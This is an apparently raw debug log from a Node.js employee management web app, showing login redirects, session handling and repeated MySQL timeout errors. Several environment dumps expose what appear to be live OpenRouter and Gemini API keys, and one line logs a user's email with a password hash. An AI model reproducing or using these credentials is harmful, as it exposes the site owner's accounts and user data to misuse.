    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '159.203.61.42',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-10T11:42:54.152Z server-connect:router Serving templateView /
2026-05-10T11:42:54.153Z server-connect:app Executing action step identify
2026-05-10T11:42:54.153Z server-connect:app options: { provider: 'security' }
2026-05-10T11:42:54.153Z server-connect:auth No login cookie found
2026-05-10T11:42:54.153Z server-connect:output identity: false
2026-05-10T11:42:54.153Z server-connect:app Executing action step restrict
2026-05-10T11:42:54.153Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-10T11:42:54.153Z server-connect:output restrict: undefined
2026-05-10T11:42:54.626Z server-connect:router Serving templateView /login
2026-05-10T11:42:54.627Z server-connect:app Executing action step identify
2026-05-10T11:42:54.627Z server-connect:app options: { provider: 'security' }
2026-05-10T11:42:54.627Z server-connect:auth No login cookie found
2026-05-10T11:42:54.628Z server-connect:output identity: false
2026-05-10T11:42:54.628Z server-connect:router Render template layouts/authentication
2026-05-10T11:42:54.628Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-11T11:42:54.626Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-10T11:44:45.319Z server-connect:router Serving templateView /
2026-05-10T11:44:45.319Z server-connect:app Executing action step identify
2026-05-10T11:44:45.319Z server-connect:app options: { provider: 'security' }
2026-05-10T11:44:45.320Z server-connect:auth No login cookie found
2026-05-10T11:44:45.320Z server-connect:output identity: false
2026-05-10T11:44:45.320Z server-connect:app Executing action step restrict
2026-05-10T11:44:45.320Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-10T11:44:45.320Z server-connect:output restrict: undefined
2026-05-10T11:44:45.758Z server-connect:router Serving templateView /login
2026-05-10T11:44:45.759Z server-connect:app Executing action step identify
2026-05-10T11:44:45.759Z server-connect:app options: { provider: 'security' }
2026-05-10T11:44:45.759Z server-connect:auth No login cookie found
2026-05-10T11:44:45.759Z server-connect:output identity: false
2026-05-10T11:44:45.759Z server-connect:router Render template layouts/authentication
2026-05-10T11:44:45.759Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-11T11:44:45.758Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2600:1f16:743:ac00:bfc1:8688:e466:415d',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 12:52:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 12:52:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 19:12:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 19:12:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 19:38:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 19:38:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 20:05:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 20:05:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 20:10:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 20:10:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 21:23:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 21:23:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 23:22:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 23:22:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 23:47:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 23:47:38' as DATETIME)"
}
2026-05-11T03:15:41.898Z server-connect:router Serving templateView /
2026-05-11T03:15:41.912Z server-connect:app Executing action step identify
2026-05-11T03:15:41.912Z server-connect:app options: { provider: 'security' }
2026-05-11T03:15:41.912Z server-connect:auth No login cookie found
2026-05-11T03:15:41.912Z server-connect:output identity: false
2026-05-11T03:15:41.912Z server-connect:app Executing action step restrict
2026-05-11T03:15:41.912Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-11T03:15:41.913Z server-connect:output restrict: undefined
2026-05-11T03:15:42.015Z server-connect:router Serving templateView /login
2026-05-11T03:15:42.016Z server-connect:app Executing action step identify
2026-05-11T03:15:42.016Z server-connect:app options: { provider: 'security' }
2026-05-11T03:15:42.016Z server-connect:auth No login cookie found
2026-05-11T03:15:42.016Z server-connect:output identity: false
2026-05-11T03:15:42.016Z server-connect:router Render template layouts/authentication
2026-05-11T03:15:42.016Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-fetch-dest': 'document',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 26_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.63.235.247',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-12T03:15:42.015Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.63.235.247',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 26_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.63.235.247',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-11 03:24:39' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-11 03:24:39' as DATETIME)"
}
2026-05-11T04:17:16.264Z server-connect:router Serving templateView /
2026-05-11T04:17:16.266Z server-connect:app Executing action step identify
2026-05-11T04:17:16.266Z server-connect:app options: { provider: 'security' }
2026-05-11T04:17:16.317Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-05-11T04:17:16.321Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-11T04:17:16.372Z server-connect:output identity: 1
2026-05-11T04:17:16.372Z server-connect:app Executing action step restrict
2026-05-11T04:17:16.372Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-11T04:17:16.374Z server-connect:output restrict: undefined
2026-05-11T04:17:16.374Z server-connect:app Executing action step restrict
2026-05-11T04:17:16.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-11T04:17:16.374Z server-connect:output restrict: undefined
2026-05-11T04:17:16.374Z server-connect:router Render template layouts/main
2026-05-11T04:17:16.374Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
